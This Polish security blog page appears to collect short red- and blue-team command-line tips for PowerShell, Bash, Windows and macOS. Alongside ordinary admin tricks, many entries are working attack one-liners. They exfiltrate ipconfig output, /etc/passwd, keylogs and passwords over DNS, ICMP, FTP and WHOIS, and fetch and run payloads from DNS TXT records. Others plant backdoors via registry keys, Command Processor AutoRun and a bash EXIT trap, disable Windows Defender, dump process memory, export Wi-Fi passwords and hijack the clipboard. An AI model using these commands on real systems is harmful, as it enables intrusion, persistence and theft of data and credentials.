alphasec
// protipy z pola walki

Krótkie, mięsiste protipy red & blue — jeden oneliner naraz.

Komendy, triki i jednolinijkowce z prawdziwych zleceń — PowerShell, Bash, Windows, macOS i sprzęt. Każdy protip to gotowy do użycia fragment z krótkim wyjaśnieniem.

PowerShell 008a
PS> (-join ((ipconfig /all|out-string).ToCharArray()|%{"{0:X2}"-f[int]$_}) -split "(.{64})" -match "." -replace "([\w]{16})", "`$1.").trim('.')|%{ Resolve-DNSName "$_.$(($i++)).aptmc.pl"}

Eksfiltracja DNS w jednym wierszu — cały ipconfig zakodowany w zapytaniach DNS.

#PowerShell#RedTeam#Windows#DNS#Exfiltration
Windows 0089
> attrib +h malware.pdf.js

Oznacz plik jako ukryty (Hidden) w wierszu poleceń cmd.exe.

#Windows#cmd#HideAndSeek#RedTeam
PowerShell 0088
PS> (Get-Item malware.pdf.js).Attributes += 'Hidden'

(Get-Item malware.pdf.js).Attributes += 'Hidden' - ukryj plik lub katalog w Windowsie

#Powershell#Windows#HideAndSeek#RedTeam
Chrome 0087
type: thisisunsafe

Aby w Chrome ominąć wyjątek bezpieczeństwa — po prostu to wpisz.

#Chrome#ŻycieNaKrawędzi
Windows 0086
> dism /online /enable-feature /featureName:TelnetClient

dism /online /enable-feature /featureName:TelnetClient - instalacja oficjalnego klienta telnet na Windowsie, by obejrzeć Gwiezdne wojny, połączyć się z BBS-em lub odebrać pocztę jak pro

#Windows#ProzaŻycia#Admin#OldSchool
macOS 0085
$ defaults write com.apple.finder CreateDesktop false; killall Finder

Schowaj wszystkie ikony z pulpitu macOS.

#MacOS#ProzaŻycia
PowerShell 0084
PS> filter Out-R2D2 { $_.ToCharArray()|% {[console]::beep(1000+([int][char]$_*20), 100)}}; ipconfig | Out-R2D2

Eksfiltracja danych głośnikiem w stylu R2-D2.

#Powershell#Windows#Exfil
PowerShell 0083
PS> (Add-Type -m '[DllImport("user32.dll")]public static extern bool LockWorkStation();' -Name "Lock" -pas)::LockWorkStation()

Kolejny sposób blokowania ekranu PowerShellem: (Add-Type -m '[DllImport("user32.dll")]public static extern bool LockWorkStation();' -Name "Lock" -pas)::LockWorkStation()

#Powershell#ProzaŻycia#Windows
PowerShell 0082
PS> Add-Type -t 'public class User32 {[System.Runtime.InteropServices.DllImport("user32.dll")] public static extern bool LockWorkStation();}'; [User32]::LockWorkStation()

Add-Type -t 'public class User32 {[System.Runtime.InteropServices.DllImport("user32.dll")] public static extern bool LockWorkStation();}'; [User32]::LockWorkStation() - zablokuj ekran PowerShellem

#Powershell#ProzaŻycia#Windows
Windows 0081
> rundll32 user32,LockWorkStation

rundll32 user32,LockWorkStation - zablokuj ekran z wiersza poleceń

#Windows#ProzaŻycia
Bash / Unix 0080
$ while read -r line; do echo "Linia: $line"; done < dict.txt

while read -r line; do echo "Linia: $line"; done - jeden ze sposobów czytania linijka po linijce z pliku

#Unix#Bash#ProzaŻycia
PowerShell 007f
PS> Add-Type -t 'public class Foo { public static void Main(){ System.Console.WriteLine("Ciekawe te protipy!");}}';[Foo]::Main()

Add-Type -t 'public class Foo { public static void Main(){ System.Console.WriteLine("Ciekawe te protipy!");}}';[Foo]::Main() - uruchom kod C# prosto z PowerShella

#PowerShell#CSharp#RedTeam#Magic
PowerShell 007e
PS> Add-Type -AssemblyName System.Speech; [Speech.Synthesis.SpeechSynthesizer]::new().Speak("Fajne te protipy")

Gadający PowerShell: Add-Type -AssemblyName System.Speech; [Speech.Synthesis.SpeechSynthesizer]::new().Speak("Fajne te protipy")

#PowerShell#DotNET#Fun
PowerShell 007d
PS> (Get-Date)-(gcim Win32_OperatingSystem).LastBootUpTime

(Get-Date)-(gcim Win32_OperatingSystem).LastBootUpTime - uptime w Windows PowerShellu

#PowerShell#RedTeam#BlueTeam#Recon
Bash / Unix 007c
$ for p in {22,443,2083,8880,31337}; do (timeout 1s bash -c "</dev/tcp/berkeley.edu/$p")2>/dev/null && echo "$p - open"||echo "$p - closed"; done

Skaner portów TCP w czystym bashu.

#Unix#Bash#RedTeam#Recon
PowerShell 007b
PS> 22,443,2083,8880,31337|%{"$_ - "+([Net.Sockets.TcpClient]::new()).ConnectAsync("berkeley.edu", $_).Wait(1000)}2>$null

Podręczny skaner portów w PowerShellu: 22,443,2083,8880,31337|%{"$_ - "+([Net.Sockets.TcpClient]::new()).ConnectAsync("berkeley.edu", $_).Wait(1000)}2>$null

#Powershell#RedTeam#Recon
Bash / Unix 007a
$ ps uax | grep [p]wsh

ps uax | grep [p]wsh - odnajdź wśród procesów tekst pwsh, jednak pomiń proces z grepem

#Linux#MacOS#BlueTeam#ProzaZycia
PowerShell 0079
PS> Start-Process -Verb RunAs powershell.exe

Start-Process -Verb RunAs powershell.exe - uruchom proces powershell.exe z uprawnieniami administratora

#Powershell#Admin#BlueTeam#ProzaŻycia
PowerShell 0078
PS> Install-Module -Name PSReadLine -AllowClobber -Force

Żeby przyjemniej się pracowało w Windows PowerShellu (5.1), zainstaluj nowy PSReadLine: Install-Module -Name PSReadLine -AllowClobber -Force

#Powershell#Admin#BlueTeam#ProzaŻycia
Bash / Unix 0077
$ tail -F access.log

tail -F access.log wyświetla aktualnie dopisywaną zawartość pliku, nawet kiedy zostanie on usunięty i stworzony na nowo (czego nie robi tail -f access.log)

#Linux#MacOS#BlueTeam#ProzaZycia
PowerShell 0076
PS> & "C:\Program Files\Wireshark shark.exe" -i Wi-Fi -l -T fields -e data "icmp[0]=8" | % { -join ($_ -split "(.{2})" -match "." | % { [char][byte]"0x$_"}) }

& "C:\Program Files\Wireshark shark.exe" -i Wi-Fi -l -T fields -e data "icmp[0]=8" | % { -join ($_ -split "(.{2})" -match "." | % { [char][byte]"0x$_"}) } - wyświetl payload pakietów ICMP

#Powershell#Admin#BlueTeam#Magic
PowerShell 0075
PS> Dodaj kolejny katalog do zmiennej środowiskowej PATH dla wszystkich: [Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path','Machine')+';C:\Program Files\Wireshark', 'Machine')

Dodaj kolejny katalog do zmiennej środowiskowej PATH dla wszystkich: [Environment]::SetEnvironmentVariable('Path', [Environment]::GetEnvironmentVariable('Path','Machine')+';C:\Program Files\Wireshark', 'Machine')

#Powershell#Admin#ProzaŻycia
PowerShell 0074
PS> Get-Command -Type Application

Get-Command -Type Application - lista binarek z $env:PATH, by móc zapolować na LOLBiny niczym @0gtweet

#Powershell#RedTeam#Hunting#LOLBin
Bash / Unix 0073
$ screen

Nie wyobrażam sobie poważnej pracy po ssh bez screen-a. Najczęściej wykorzystywane u mnie skróty: CTRL+a c, CTRL+a n, CTRL+a p, CTRL+a A, CTRL+a ", CTRL+a ESC

#Linux#unix#ssh#admin#ProzaŻycia
PowerShell 0072
PS> (ipconfig|Out-String) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}

Eksfiltracja po ICMP w jednym wierszu: (ipconfig|Out-String) -split "(?s)(.{1472})" -match "."|%{ [Net.NetworkInformation.Ping]::new().Send("alphasec.pl", 100, ([Text.Encoding]::UTF8).GetBytes($_))}

#Powershell#RedTeam#Exfil#ICMP#Beauty
Bash / Unix 0071
$ watch -n 5 w

watch -n 5 w - co 5 sekund wyświetlaj listę zalogowanych użytkowników wraz z kilkoma pożytecznym informacjami

#Linux#macos#admin#ProzaŻycia
PowerShell 0070
PS> (New-Object -ComObject Outlook.Application).session.GetDefaultFolder(10).items|select FullName,MobileTelephoneNumber,Email1Address|ft -a

(New-Object -ComObject Outlook.Application).session.GetDefaultFolder(10).items|select FullName,MobileTelephoneNumber,Email1Address|ft -a - pobranie kontaktów z Outlooka

#Powershell#RedTeam#Exfil#Admin
PowerShell 006f
PS> $m=(New-Object -c Outlook.Application).CreateItem(0);$m.To="darklord@localhost";$m.Subject="ip";$m.Body=(ipconfig|out-string);$m.Send()

ipconfig Outlookiem: $m=(New-Object -c Outlook.Application).CreateItem(0);$m.To="darklord@localhost";$m.Subject="ip";$m.Body=(ipconfig|out-string);$m.Send()

#Powershell#RedTeam#Exfil#Admin
macOS 006e
$ sudo lsof -Pn -sTCP:LISTEN -i4TCP

sudo lsof -Pn -sTCP:LISTEN -i4TCP - wyświetl aplikacje nasłuchujące na portach TCP IPv4

#MacOS#Linux#Unix#BlueTeam#Recon
Windows 006d
> CTRL+SHIFT+ESCAPE

CTRL+SHIFT+ESCAPE - uruchom Menedżer zadań

#Windows#ProzaZycia
PowerShell 006c
PS> gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl

Skróty (.lnk) pod lupą: gci *.lnk | % { (New-Object -com WScript.Shell).CreateShortcut($_)} | select fullname,targetpath,arguments | fl

#Powershell#BlueTeam#ThreatHunting#Malware
Bash / Unix 006b
$ sed -i s/root/toor/g /etc/passwd

sed -i s/root/toor/g /etc/passwd - zmień frazy root na toor w pliku /etc/passwd

#Linux#Unix#MacOS#Bash#ProzaŻycia
PowerShell 006a
PS> Get-PnpDevice -PresentOnly

Get-PnpDevice -PresentOnly - wyświetl aktualnie podłączone urządzenia Plug and Play

#Powershell#RedTeam#BlueTeam#Recon
PowerShell 0069
PS> iwr aptm.in/g/certstream|iex; Invoke-CertStream

WebSockety w Powershellu, czyli aktualnie rejestrowane certyfikaty SSL na żywo: iwr aptm.in/g/certstream|iex; Invoke-CertStream

#Powershell#RedTeam#BlueTeam#ThreatHunting#SSL
PowerShell 0068
PS> -join [char[]]$arr

-join [char[]]$arr - szybki, sprytny sposób na zamianę tablicy bajtów na łańcuch znaków

#Powershell#ProzaŻycia#HackWay
Bash / Unix 0067
$ ssh

Powiesiła Ci się sesja ssh i chcesz ją zabić, odzyskując terminal? Użyj ~.

#Linux#SSH#DevOps#ProzaŻycia
PowerShell 0066
PS> [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))

Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))

#Powershell#RedTeam#Exfil
Bash / Unix 0065
$ cia.gov

Lista subdomen cia.gov na podstawie rejestrowanych certyfikatów: curl -s 'https://crt.sh?output=json&q=cia.gov'|jq '.[].name_value'|sort -u

#Linux#Bash#DevOps#Recon
PowerShell 0064
PS> (irm crt.sh -b @{output="json";q="cia.gov"}).name_value|sort -u

(irm crt.sh -b @{output="json";q="cia.gov"}).name_value|sort -u - lista domen w cia.gov na podstawie rejestrowanych certyfikatów

#Powershell#RedTeam#BlueTeam#Recon
Bash / Unix 0063
$ for a in /proc/[0-9]*; do echo -n "`basename $a` (`stat -c %U:%G $a`) "; cat $a/cmdline|tr "\0" " "; echo ; done|sort -n

for a in /proc/[0-9]*; do echo -n "`basename $a` (`stat -c %U:%G $a`) "; cat $a/cmdline|tr "\0" " "; echo ; done|sort -n - lista procesów bez polecenia ps

#Linux#Bash#DevOps#Recon
Hardware 0062
// ATmega32U4

Wykorzystując mikrokontroler ATmega32U4 łatwo zbudujemy własny pendrive-klawiaturę niczym Rubber Ducky

#Hardware#Arduino#Powershell#RedTeam#BlueTeam
PowerShell 0061
PS> (netsh wl sh net) -match "^SSID"

(netsh wl sh net) -match "^SSID" - lista dostępnych sieci WiFi

#Powershell#RedTeam#BlueTeam
Bash / Unix 0060
$ ps uax | vim -

Przekieruj wynik polecenia bezpośrednio do wygodnego przetwarzania w vimie: ps uax | vim -

#Linux#Unix#MacOS#Bash#ProzaŻycia
PowerShell 005f
PS> Restart-Computer

Restart-Computer - zrestartuj komputer. Po prostu.

#Powershell#RedTeam#BlueTeam
PowerShell 005e
PS> (iwr thehackernews.com).Links.Href | sls '/20'

(iwr thehackernews.com).Links.Href | sls '/20' - pobierz linki do ostatnich artykułów na thehackernews.com

#Powershell#RedTeam#BlueTeam
PowerShell 005d
PS> ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #"

ni -f "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mspaint.exe" | sp -name Debugger -Value "powershell -c iwr aptmc.pl/calc|iex #" - dodaj backdoor uruchamiany zamiast startu MS Painta

#Powershell#RedTeam#BlueTeam#Backdoor
macOS 005c
$ sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'DELETE from LSQuarantineEvent'

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'DELETE from LSQuarantineEvent' - usuń historię pobranych plików na MacOS z kwarantanny

#MacOS#RedTeam#BlueTeam#Recon#Forensics
macOS 005b
$ sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select DISTINCT LSQuarantineDataURLString from LSQuarantineEvent'

sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select DISTINCT LSQuarantineDataURLString from LSQuarantineEvent' - pokaż historię pobranych plików na MacOS

#MacOS#RedTeam#BlueTeam#Recon#Forensics
PowerShell 005a
PS> filter fb64 { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) }

filter fb64 { [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($_)) } - przydatny filtr do dekodowania Base64

#Powershell#RedTeam#Base64
Bash / Unix 0059
$ ssh -t drg@host "screen -dRS foo"

ssh -t drg@host "screen -dRS foo" - i zrywane sesje SSH nie straszne

#Linux#Unix#MacOS#Bash#RedTeam#BlueTeam#ssh#ProzaŻycia
macOS 0058
$ cat /etc/passwd | pbcopy

cat /etc/passwd | pbcopy - wrzuć zawartość wskazanego pliku prosto do schowka

#MacOS#Clipboard#RedTeam
PowerShell 0057
PS> Get-MpThreatDetection

Get-MpThreatDetection - wyświetl zidentyfikowane przez Windows Defendera zagrożenia

#Powershell#RedTeam#BlueTeam#Windows#WindowsDefender
PowerShell 0056
PS> Get-MpPreference

Get-MpPreference - wyświetl konfigurację Windows Defendera

#Powershell#RedTeam#BlueTeam#Windows#WindowsDefender
PowerShell 0055
PS> Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend - wyłącz Windows Defendera niczym Trickbot, REvil Ransomware czy inny malware

#Powershell#RedTeam#Malware#Windows#WindowsDefender
Bash / Unix 0054
$ ping -a 10.0.0.1

ping -a 10.0.0.1 - powiadom dźwiękowo, kiedy pingowany host wróci

#Linux#Unix#MacOS#Bash#RedTeam#BlueTeam#Admin
PowerShell 0053
PS> powershell -w h -enc (gp HKCU:\Software\Microsoft\Windows).Signature

powershell -w h -enc (gp HKCU:\Software\Microsoft\Windows).Signature - uruchom payload ukryty wcześniej w rejestrze, zakodowany w base64

#Powershell#RedTeam#Backdoor#Rejestr#Windows
PowerShell 0052
PS> sp HKCU:\Software\Microsoft\Windows Signature "YwBhAGwAYwA="

Zmień/stwórz nową wartość w rejestrze: sp HKCU:\Software\Microsoft\Windows Signature "YwBhAGwAYwA="

#Powershell#RedTeam#Backdoor#Rejestr#Windows
Bash / Unix 0051
$ fc

Twój oneliner jest coraz dłuższy? Użyj fc, żeby edytować poprzednie polecenie w domyślnym edytorze tekstu

#Linux#Unix#MacOS#Bash#RedTeam#blueteam#admin
macOS 0050
$ caffeinate -i

caffeinate -i - nie pozwól, by macbook usnął

#MacOS#RedTeam#BlueTeam#ProzaZycia
PowerShell 004f
PS> $env:PSExecutionPolicyPreference = "Bypass"

$env:PSExecutionPolicyPreference = "Bypass" - jeden ze sposobów ominięcia Polityki Uruchamiania Skryptów (ExecutionPolicy)

#Powershell#RedTeam#Windows
Bash / Unix 004e
$ trap '`curl -ksL aptmc.pl/trap/`' EXIT

trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala

#Linux#Unix#MacOS#Bash#RedTeam#Backdoor
PowerShell 004d
PS> (gcm ssh).source

(gcm ssh).source - wyświetl pełną ścieżkę do polecenia ssh

#Powershell#RedTeam#BlueTeam#Windows
macOS 004c
$ log show --style compact --predicate 'process == "sharingd" && eventMessage CONTAINS "WiFi join start"' --last 1d

log show --style compact --predicate 'process == "sharingd" && eventMessage CONTAINS "WiFi join start"' --last 1d - pokaż z jakimi WiFi łączył się ostatnio Mac

#MacOS#RedTeam#Recon#Forensics
PowerShell 004b
PS> -Wait

Parametr -Wait cmdletu Get-Content pozwoli monitorować nowe linie dopisywane do pliku

#Powershell#RedTeam#BlueTeam#Windows
Bash / Unix 004a
$ less +F

Monitorowanie plików na żywo może być wygodniejsze z wykorzystaniem less +F zamiast tail -f

#Linux#MacOS#BlueTeam#ProzaZycia
PowerShell 0049
PS> (sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;}))

(sv -o a -p password "").Attributes.Add([ValidateScript]({irm "aptmc.pl/?$_";return $true;})) - eksfiltruj zmienną password kiedy tylko zostanie ustawiona

#Powershell#RedTeam#Windows#Backdoor
Windows 0048
> netsh wlan export profile folder=. key=clear

netsh wlan export profile folder=. key=clear - wyeksportuj sieci WiFi wraz z hasłami

#Powershell#Windows#RedTeam#Recon
macOS 0047
$ mdls -name kMDItemWhereFroms plik.zip

mdls -name kMDItemWhereFroms plik.zip - pokaż skąd został pobrany plik plik.zip

#MacOS#threathunting#blueteam
PowerShell 0046
PS> Get-ScheduledTask|%{[pscustomobject]@{Name=$_.TaskName;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView

Get-ScheduledTask|%{[pscustomobject]@{Name=$_.TaskName;Execute=$_.Actions.Execute;Args=$_.Actions.Arguments}}|Out-GridView - zapoluj na złośliwe zadania

#Powershell#BlueTeam#ThreatHunting#Windows#Backdoor
macOS 0045
$ pbpaste

pbpaste - wykradnij zawartość schowka w macOS X

#MacOS#Clipboard#RedTeam
PowerShell 0044
PS> Get-Service | ConvertTo-Html > services.html

Get-Service | ConvertTo-Html > services.html - eksportuj listę usług do HTML

#Powershell#RedTeam#Recon#Administration#Windows
PowerShell 0043
PS> Get-NetIPAddress -AddressState Preferred|select IPAddress,InterfaceAlias

Get-NetIPAddress -AddressState Preferred|select IPAddress,InterfaceAlias - wyświetl aktywne interfejsy sieciowe i ich IP

#Powershell#RedTeam#Recon#Administration#Windows
PowerShell 0042
PS> gc -head 10 plik.txt

gc -head 10 plik.txt, gc -tail 10 plik.txt - wyświetl odpowiednio 10 pierwszych linijek i 10 ostatnich linijek pliku

#Powershell#ProzaZycia
Bash / Unix 0041
$ tcpdump -n -i any -A -l port http or port ftp or port smtp or port imap or port pop3|grep --color -Ei -C 2 'authorization:|pass=|pwd=|login=|user=|username=|user |pass '

Polowanie na latające po sieci hasła: tcpdump -n -i any -A -l port http or port ftp or port smtp or port imap or port pop3|grep --color -Ei -C 2 'authorization:|pass=|pwd=|login=|user=|username=|user |pass '

#Unix#Bash#RedTeam#Tcpdump#Passwords
PowerShell 0040
PS> gci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Stream

gci -r $HOME|gi -s *|where Stream -ne ':$DATA'|select Filename,Stream - znajdź w katalogu domowym użytkownika pliki, które posiadają ukrytą zawartość jako Alternate Data Streams

#Windows#Powershell#BlueTeam#ThreatHunting
Bash / Unix 003f
$ _(){ _|_& };_

_(){ _|_& };_ - bashowa fork bomba pozwalająca sprawdzić poprawność konfiguracji systemów Unix/Linux

#Unix#Bash#RedTeam#BlueTeam#Administration
PowerShell 003e
PS> for(){$p=(gps|Sort-Object -D CPU|Select -First ($Host.UI.RawUI.WindowSize.Height-4)|Out-String).trim();cls;""+(date);$p;sleep 1}

for(){$p=(gps|Sort-Object -D CPU|Select -First ($Host.UI.RawUI.WindowSize.Height-4)|Out-String).trim();cls;""+(date);$p;sleep 1} - *nixowy top w Powershellu

#Powershell#BlueTeam#Administration
PowerShell 003d
PS> New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint"

New-Item -Path "HKCU:\Software\Microsoft\Command Processor" -Force|Set-ItemProperty -Name AutoRun -Value "mspaint" - dodaj backdoora, który przy uruchamianiu cmd.exe uruchomi również coś dla zabicia nudy

#Windows#Powershell#BlueTeam#RedTeam#ThreatHunting
PowerShell 003c
PS> ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*

Warto czasem spojrzeć, czy nie były podłączane podejrzane klawiatury: ls HKLM:\SYSTEM\CurrentControlSet\Enum\HID\*

#Windows#Powershell#BlueTeam#ThreatHunting
PowerShell 003b
PS> Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{ESC}calc.exe{ENTER}')

Symulacja klawiatury Powershellem? Czemu nie: Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.SendKeys]::SendWait('^{ESC}calc.exe{ENTER}')

#Windows#Powershell#RedTeam
PowerShell 003a
PS> $i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_}

$i=gp HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU; $i.MRUList.ToCharArray()|%{$i.$_} - pokaż ostatnio uruchamiane polecenia

#Windows#Powershell#RedTeam#ThreatHunting
Bash / Unix 0039
$ for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done

for a in $(cat /etc/passwd|openssl base64); do curl -s ftp://exfil.aptmc.pl/test_$a -O /dev/null; done - eksfiltruj dane pod płaszczem zapytań FTP

#Unix#Bash#Exfil#RedTeam
Python 0038
$ python -m pyftpdlib -p 21 -w

python -m pyftpdlib -p 21 -w - uruchom anonimowy serwer FTP do zapisu

#Unix#RedTeam#BlueTeam#FTP#Exfil#Python
PowerShell 0037
PS> 1..254 | % {Resolve-DnsName x.x.x.$_ -ErrorAction SilentlyContinue}

1..254 | % {Resolve-DnsName x.x.x.$_ -ErrorAction SilentlyContinue} - rekonesans RevDNS

#Powershell#Recon#DNS#RedTeam
PowerShell 0036
PS> $ErrorActionPreference = "SilentlyContinue"

$ErrorActionPreference = "SilentlyContinue" - nie wyświetlaj (krytycznych) błędów i cichutko kontynuuj wykonywanie

#Powershell #cmdlet
Bash / Unix 0035
$ echo 'PROMPT_COMMAND="history -a"' >> ~/.profile

echo 'PROMPT_COMMAND="history -a"' >> ~/.profile - aktualizuj ~/.bash_history na bieżąco

#Unix#Bash#PowerUser
PowerShell 0034
PS> filter tb64 { [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_)) }

filter tb64 { [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($_)) } - przydatny filtr do kodowania Base64

#Powershell#RedTeam#Base64
PowerShell 0033
PS> while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 }

while(1) { if ((Get-Clipboard) -match "\.exe") { Set-Clipboard "calc.exe" } sleep 1 } - malutkie nadużycie schowka

#Powershell#RedTeam#Malware#Clipboard#Windows
Bash / Unix 0032
$ less -r <plik>

less -r <plik> - czytaj <plik> wyświetlając kolory i inne znaki sterujące

#Unix#Bash#ProzaŻycia
PowerShell 0031
PS> ls env:

ls env: wyświetli zmienne środowiskowe

#Powershell#Recon#ProzaŻycia
PowerShell 0030
PS> ls HKCU:\Software\Sysinternals|select Name

ls HKCU:\Software\Sysinternals|select Name - pokaż które narzędzia z Sysinternals (np. PsExec) były używane

#Powershell#ThreatHunting#BlueTeam#Windows#Sysinternals
Bash / Unix 002f
$ curl -i https://nasa.gov/

curl -i https://nasa.gov/ - wyświetl odpowiedź serwera HTTP wraz z nagłówkami

#Bash#RedTeam#Blueteam
PowerShell 002e
PS> ([adsisearcher]"objectCategory=computer").FindAll()

([adsisearcher]"objectCategory=computer").FindAll() - pobierz listę komputerów z Active Directory

#Windows#RedTeam#Powershell#ActiveDirectory#Recon
PowerShell 002d
PS> Get-Acl

Get-Acl pomoże szybko sprawdzić uprawnienia zarówno do plików/katalogów jak i kluczy w rejestrze

#Powershell#Windows#RedTeam#BlueTeam
Windows 002c
> rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full

rundll32.exe c:\windows\system32\comsvcs.dll MiniDump 555 555.dmp full - zapisz zrzut pamięci procesu o ID 555

#Windows#RedTeam
PowerShell 002b
PS> Select-String

Powershellowy Select-String pomoże odnaleźć interesujące stringi niczym grep

#Powershell#Windows#RedTeam#BlueTeam
Windows 002a
> strings.exe

strings.exe z pakietu Sysinternals pomoże szybko analizować tekst w plikach binarnych

#Windows#RedTeam#BlueTeam#Sysinternals
Bash / Unix 0029
$ cd -

Potrzebujesz wrócić do zagłębionego katalogu, z którego przez przypadek wyszedłeś? Ratunkiem będzie cd -

#Bash#Prozażycia
Bash / Unix 0028
$ whois -h aptm.in "$(cat /etc/passwd)"

whois -h aptm.in "$(cat /etc/passwd)" - eksfiltruj dane z wykorzystaniem usługi WHOIS

#Bash#RedTeam#Exfil
PowerShell 0027
PS> Get-NetTCPConnection -AppliedSetting Internet

Wyświetl internetowe połączenia TCP: Get-NetTCPConnection -AppliedSetting Internet

#Powershell#BlueTeam#ThreatHunting
PowerShell 0026
PS> Get-FileHash c:\Windows\System32\cmd.exe

Get-FileHash c:\Windows\System32\cmd.exe - wyświetl hash SHA256 pliku

#Powershell#BlueTeam#ThreatHunting
PowerShell 0025
PS> Get-DnsClientCache|select data,entry|fl

Get-DnsClientCache|select data,entry|fl - pokaż cache DNS

#Powershell#RedTeam#ThreatHunting#Exfil#DNS#Recon
Bash / Unix 0024
$ ssh -L 8080:intranet:80 aptm.in

ssh -L 8080:intranet:80 aptm.in - tuneluj intranet:80 dostępny z aptm.in do localhost:8080

#SSH#Linux#Windows#RedTeam#BlueTeam#Pivoting#DevOps
Bash / Unix 0023
$ ssh -R :8080:localhost:80 aptm.in

ssh -R :8080:localhost:80 aptm.in - udostępnij lokalny port 80 na aptm.in:8080

#SSH#Linux#Windows#RedTeam#BlueTeam#Pivoting
Windows 0022
> autoruns.exe

Uruchom autoruns.exe prosto z linii poleceń: \\live.sysinternals.com ools\autoruns.exe i zobacz co startuje

#Windows#BlueTeam#ThreatHunting
Bash / Unix 0021
$ curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh

Payload DNS-over-HTTPS dla *nixów: curl -ks "https://dns.google/resolve?name=echo.aptmc.pl&type=txt"|jq '.Answer[0].data'|tr -d '"\'|base64 -d|sh

#Bash#RedTeam#DNS#Unix#Infil#C2
PowerShell 0020
PS> (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex

Infiltracja po DNS-over-HTTPS: (irm "https://dns.google/resolve?name=calc.aptmc.pl&type=txt").answer.data|iex|iex

#Powershell#RedTeam#DoH#DNS#Windows#Infil#C2
PowerShell 001f
PS> ps|gm

ps|gm - dzięki Get-Member (gm) poznasz co ma do zaoferowania zwracany obiekt

#Powershell#RedTeam#BlueTeam#GoodToKnow
Bash / Unix 001e
$ host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh

host -t txt echo.aptmc.pl|awk -F'"' '{ print $2 }'|openssl base64 -d|sh - uruchom payload z DNS na *nixach

#Bash#RedTeam#DNS#Unix#Infil#C2
PowerShell 001d
PS> [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex

Pobierz i uruchom payload po DNS: [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((Resolve-DnsName -Type TXT msg.aptmc.pl).strings))|iex

#Powershell#RedTeam#DNS#Windows#Infil#C2
Docker 001c
$ docker run -p 8080:8080 remnux/cyberchef

docker run -p 8080:8080 remnux/cyberchef - własna instancja CyberChefa na porcie 8080

#Docker#CyberChef#MustKnow#SwissKnife
Bash / Unix 001b
$ socat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt'

socat -T 7 TCP-LISTEN:2048,pktinfo,fork,reuseaddr SYSTEM:'cat > loots/tcp/$SOCAT_PEERADDR.$$.txt' - uniwersalny listener

#Linux#RedTeam#BlueTeam#Exfil
PowerShell 001a
PS> iwr -me po -i <plik> http://<host:port>

Szybka eksfiltracja pliku po HTTP: iwr -me po -i <plik> http://<host:port>

#Powershell#RedTeam#Exfil
PowerShell 0019
PS> cat (Get-PSReadLineOption).HistorySavePath

cat (Get-PSReadLineOption).HistorySavePath - wyświetl historię poleceń Powershella

#Powershell#RedTeam#BlueTeam#ThreatHunting
Windows 0018
> Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshd

Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Start-Service sshd - serwer ssh na Windowsie

#Windows#Powershell#SSH
Bash / Unix 0017
$ ssh -D 2048 user@host

ssh -D 2048 user@host - wykorzystaj zdalny host ssh jako szyfrowane proxy

#Linux#Windows#RedTeam#BlueTeam#Proxy#SSH
PowerShell 0016
